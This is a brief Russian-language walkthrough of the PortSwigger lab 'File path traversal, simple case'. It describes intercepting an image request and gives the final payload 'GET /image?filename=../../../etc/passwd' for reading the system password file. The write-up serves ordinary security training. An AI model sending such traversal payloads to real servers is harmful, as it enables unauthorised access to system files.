На странице
apsyleg1 мин
#portswigger #path-traversal #web-security

File Path Traversal: простой случай

Лаборатория

File path traversal, simple case · Apprentice

Решение

Дано

This lab contains a path traversal vulnerability in the display of product images.
To solve the lab, retrieve the contents of the /etc/passwd file.

Анализ

Где-то на сайте есть уязвимость path traversal при отображении изображений товаров. Нужно прочитать файл /etc/passwd, используя данную уязвимость.

Разведка

Смотрим сайт, обращая внимание на запросы загрузки изображения. Настроим фильтр, чтобы отображать такие запросы. Видим запрос:

GET /image?filename=60.jpg

Закинем в Repeater и попробуем использовать path traversal.

Закинем первую — ../../etc/passwd — "No such file".

Финальная нагрузка

GET /image?filename=../../../etc/passwd HTTP/2

Лаба решена!